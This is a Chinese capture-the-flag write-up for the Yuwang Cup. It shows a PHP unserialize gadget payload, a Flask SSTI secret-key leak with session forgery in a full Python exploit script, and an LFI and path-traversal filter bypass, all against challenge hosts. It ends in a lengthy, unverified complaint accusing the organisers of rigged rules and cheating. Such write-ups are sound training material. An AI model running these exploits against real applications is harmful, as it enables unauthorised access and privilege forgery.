第十届御网杯

WriteUp

PHP_Payment

购买逻辑 buy.php

$_SESSION['balance'] -= $price;
if ($item === 'flag') {
    // 余额够就给 flag
    echo json_encode(["success" => true, "message" => "... Your Flag is [ $flag ] ..."]);
}

判分只看 $_SESSION['balance'] >= 99999。所以只要能把 session 余额抬到 99999,就能拿 flag。

代金券接口 api/apply_coupon.php

$decoded = base64_decode($couponData);
$promo = @unserialize($decoded);     // <-- 对用户输入直接反序列化

用户提交的 coupon 经 base64 解码后直接 unserialize,未做 allowed_classes 限制。而 models.php 已被 include,因此可以注入 PromoManager 对象。

gadget models.php

class PromoManager {
    public $promo_credit;
    public $promo_code;
    function __destruct() {
        if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
            $_SESSION['balance'] += intval($this->promo_credit);   // 析构时给余额加钱
        }
    }
}

__destruct 是魔术方法,对象被销毁(请求结束)时自动触发,把我们能控制的 promo_credit 加进余额。is_numeric + intval 只要求传一个数字,毫无门槛。

把"反序列化点"和"析构 gadget"串起来:

  1. 本地构造一个 PromoManager 对象,promo_credit = 99999
  2. serializebase64_encode
  3. 作为 coupon 提交给 /api/apply_coupon.php
  4. 请求结束 → __destruct 触发 → $_SESSION['balance'] += 99999
  5. 用同一个 session 去 buy.php 购买 flag

构造 Payload

<?php
class PromoManager {
    public $promo_credit;
    public $promo_code;
}
$o = new PromoManager();
$o->promo_credit = 99999;
$o->promo_code = "x";
echo base64_encode(serialize($o));

序列化结果:

O:12:"PromoManager":2:{s:12:"promo_credit";i:99999;s:10:"promo_code";s:1:"x";}

Base64:

TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6OTk5OTk7czoxMDoicHJvbW9fY29kZSI7czoxOiJ4Ijt9

输入该 base64 代金券后,得到足量金币,获得返回值。

flag{
    f8f53167aeb75bafbd4b63f3228bd58b
}{
    "success": true,
    "message": "\u8d2d\u4e70 successful! Your Flag is [ flag{da91f6ee9d5cceef4705fd4f8af9e3f3} ]",
    "balance": 200018
}

上面的 flag 是正确答案。

Snake_Game

注意到这个代码,只要传入s参数分数,就可以得到flag

控制台传入checkWin(300)即可获得flag{e276f65aa749c0d6fab5e7eeb2e20a5d}

TaxSystem_SSTI

首先找到账号密码,登录平台。

通过自定义页脚来SSTI获取密钥

POST /api/import
{"profile_id":1,"data":{"state":"AUDIT_PENDING","custom_footer":"{{config.SECRET_KEY}}"}}

然后自己签发一个新的cookie

flask-unsign --sign --cookie "{'role': 'tax_inspector'}" --secret 'secret_tax_key_2026_xoxo'

然后访问 /admin/vault 就可以获取最终 FLAG 了

编写一个 exp 来快速完成这个步骤:

#!/usr/bin/env python3
import re
import sys
import subprocess
import requests

# 目标网站地址,可通过命令行参数指定
BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://120.27.146.76:12426"
USER, PW = "admin", "123456"  # 默认登录凭据
PROFILE_ID = 1  # 目标 profile ID

s = requests.Session()

# ========== 第1步:登录系统 ==========
print(f"[*] 正在登录,用户名: {USER}")
r = s.post(f"{BASE}/login", data={"username": USER, "password": PW}, allow_redirects=False)
assert "session" in s.cookies.get_dict() or r.status_code in (302, 200), "登录失败"
print(f"[+] 登录成功!")

# ========== 第2步:注入 SSTI 载荷 ==========
payload = "{{config.SECRET_KEY}}"
print(f"[*] 正在注入 SSTI 载荷: {payload}")
r = s.post(
    f"{BASE}/api/import",
    json={"profile_id": PROFILE_ID, "data": {"state": "AUDIT_PENDING", "custom_footer": payload}},
)
print(f"[+] 注入响应: {r.status_code} {r.text.strip()}")

# ========== 第3步:触发渲染并提取 SECRET_KEY ==========
print(f"[*] 正在访问预览页面触发模板渲染...")
html = s.get(f"{BASE}/preview/{PROFILE_ID}").text

m = re.search(r'text-center">\s*(.+?)\s*</div>', html, re.S)
secret = (m.group(1).strip() if m else "").strip()

if not secret or "{{" in secret:
    print("[-] 无法提取 SECRET_KEY,打印页面底部内容以供调试:")
    print(html[-1500:])
    sys.exit(1)
print(f"[+] 成功泄露 SECRET_KEY = {secret!r}")

# ========== 第4步:使用 flask-unsign 伪造 session ==========
print(f"[*] 正在使用 flask-unsign 伪造 session...")
try:
    forged = subprocess.check_output(
        ["flask-unsign", "--sign",
         "--cookie", "{'role': 'tax_inspector'}",
         "--secret", secret],
        text=True,
    ).strip()
    print(f"[+] 伪造的 session = {forged}")
except FileNotFoundError:
    print("[-] 找不到 flask-unsign 命令!")
    print("[!] 请确保在虚拟环境中运行,并已执行: pip install flask-unsign")
    print("[*] 或者使用备用方案(纯 Python 实现)...")
    
    # 备用方案:直接用 itsdangerous
    from itsdangerous import URLSafeTimedSerializer
    serializer = URLSafeTimedSerializer(secret)
    session_data = {'role': 'tax_inspector'}
    forged = serializer.dumps(session_data)
    print(f"[+] 备用方案伪造的 session = {forged}")

# ========== 第5步:获取 flag ==========
print(f"[*] 正在访问 /admin/vault 获取 flag...")
r = requests.get(f"{BASE}/admin/vault", cookies={"session": forged})

fm = re.search(r"flag\{[^}]*\}", r.text)
print("\n" + "=" * 40)
print("========== 最终结果 ==========")
if fm:
    print(f"[+] Flag 获取成功: {fm.group(0)}")
else:
    print(f"[-] 未找到 flag (HTTP状态码: {r.status_code})")
    print("\n响应内容(供调试):")
    print(r.text)
print("=" * 40)

Enterprise_OA

http://120.27.146.76:20815/?module=php://filter/convert.base64-encode/resource=index.php

发现获取到了全部的源代码

<?php
$module = isset($_GET['module']) ? $_GET['module'] : 'public_notices.php';
$module = str_replace('../', '', $module);
?>
<!DOCTYPE html>
<html>
<head>
    <title>OA System Portal</title>
    <style>
        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background-color: #f0f2f5; text-align: center; margin: 0; padding: 0;}
        .header { background-color: #004080; color: white; padding: 20px; font-size: 24px; font-weight: bold; }
        .container { background-color: white; padding: 20px; border-radius: 8px; margin: 40px auto; width: 60%; box-shadow: 0 4px 8px rgba(0,0,0,0.1); }
        .nav { margin-bottom: 30px; border-bottom: 2px solid #eee; padding-bottom: 10px; }
        .nav a { margin: 0 15px; text-decoration: none; color: #004080; font-weight: bold; }
        .nav a:hover { color: #0066cc; }
        .content { padding: 20px; text-align: left; min-height: 200px; color: #333; line-height: 1.6; }
    </style>
</head>
<body>
    <div class="header">
        Enterprise OA System
    </div>
    <div class="container">
        <div class="nav">
            <a href="?module=public_notices.php">Notices</a>
            <a href="?module=about.php">About Us</a>
            <a href="?module=contact.php">Contact</a>
        </div>
        <div class="content">
            <?php include($module); ?>
        </div>
    </div>
</body>
</html>

会删除全部的../但是不递归。

让我们构造:

http://120.27.146.76:20815/?module=....//....//....//....//flag.txt

比赛总结

御网CC根本不是一场面向全国选手的网络安全竞赛,只是一场中原大省本地院校的内部联欢会,一场包装光鲜、全员配合演戏、精准收割外地学生的商业敛财骗局。

在当下 CTF 竞赛圈子逐渐畸形的时代,劣质赛事的通病被御网杯集于一身:数据注水、规则儿戏、暗箱操作、地域霸凌、集体作弊、强制卖证。别的野鸡比赛顶多占一两样,而御网杯,完美集齐所有糟粕,把 “形式主义 + 韭菜经济学” 玩到了极致。

通过避重就轻的宣传吸引大量参赛者,号称能够申领NISP证书,比完之后告知需要缴纳480元才能领取。理论部分都是非常简单的题目,我居然需要花480元来证明我的能力。水货,完全水货。

打开御网杯官方宣传页面,最显眼的数据永远是:年度报名人数再创新高,覆盖全国百余所高校,数千支队伍同台竞技。乍一看妥妥的国内顶级高校网安赛事,规格拉满、含金量十足。可剥开光鲜的外衣,底层逻辑简单到离谱:所有漂亮数据,全部靠中原大省本地院校强制刷人头注水得来。

外省选手参赛,大多是学生自发组队,两三好友凭借热爱报名,一所普通高校能组建三五支队伍已属常态。反观中原大省本地合作院校?校方直接下发硬性任务,组织全校相关专业学生,涌入机房批量报名,动辄组建几百支参赛队伍。这些队伍从组建之初就不是为了比拼技术,纯粹是用来给赛事刷报名量、堆砌官方数据的工具。海量的无效队伍抬高赛事整体数据,主办方拿着注水后的报名人数,递交漂亮的数据;同时靠着庞大的参赛基数,扩大证书售卖的韭菜池,名利双收。

https://mp.weixin.qq.com/s/I09WBBYUtynrpQ9VnEW0SA

而我们这些外省认真备赛、全力答题的选手,从头到尾,都只是他们数据报表上冰冷的分母,免费的陪跑工具人。

如果说捆绑卖证、数据造假只是商业恶心,那随意篡改赛事规则、设置隐性门槛,就是赤裸裸践踏竞赛公平的底线。在赛事全程公开的参赛规则文档中,自始至终没有任何一条条例写明:参赛院校报名队伍不足 15 支,该院校所有队伍自动丧失一等奖参评资格。这条离谱的霸王条款,在比赛结束、分数排名出炉之后,才被主办方单方面口头通知。

这条规则的针对性,已经直白到懒得掩饰。

中原大省本地院校靠着机房批量凑队,轻轻松松就能达标 15 支队伍的门槛;绝大多数外省高校,受限于参赛人数,根本无法满足这个无理条件。最终结果是什么?外省哪怕选手实力断层第一、综合成绩碾压全场,也直接被剥夺冲击一等奖的资格;奖项名额被锁死在本地院校内部,内卷仅限中原大省,外省选手连上桌的资格都没有。所谓全国性竞赛,从头到尾就没给外省选手预留登顶的机会。规则是主办方说了算,门槛是赛后临时加的,公平?在御网杯的字典里,从来没有这两个字。

还有赛事舞弊,官方默许集体作弊,双标管控践踏所有底线。

但凡接触过正经 CTF 竞赛的人都清楚,IP 风控、设备指纹检测、答案相似度查重、同 IP 多队伍风控,是线上赛最基础的反作弊机制。所有正规赛事,都会严防共享 flag、集体答题、代打等舞弊行为。

但这套行业通用准则,在御网杯彻底失效。中原大省本地多所院校,数百支参赛队伍集中在校内统一机房参赛,想想都能猜到会共享解题 payload,老师进行集体指导,属于全网安圈一眼就能看穿的大规模集体舞弊。

最后是出题畸形,脱离专业赛道,圈内脑洞大于技术实力。

网络安全 CTF 竞赛,本质是技术的比拼,每一道题目都应该围绕专业知识点展开,以选手的技术储备、解题经验定胜负。御网杯再一次颠覆了我的认知,把低端野鸡赛的出题陋习发挥到极致。赛事内部分密码学题目,完全脱离网安专业范畴,不考察 RSA、哈希加密、古典密码等基础核心知识点,不考验选手的算法能力与解题思维。取而代之的是毫无逻辑的小众脑洞、主办方内部专属的隐藏密钥、只有本地圈子人员才知晓的圈内暗号。

VERY SECRET KEY

https://mp.weixin.qq.com/s/7UP3lZNqotinZx8noljjVQ

这种题目,技术再好的外省选手也无从下手;而本地参赛学生,靠着内部信息优势,轻轻松松就能拿下分数。这哪里是网络安全竞赛?这根本就是一场猜谜语小游戏。出题人自身专业能力匮乏,出不了高质量的专业考题,只能靠这种投机取巧的方式,变相给本地选手送分,拙劣又可笑。

抵制垃圾赛事,拒绝沦为韭菜!

本页的评论功能已关闭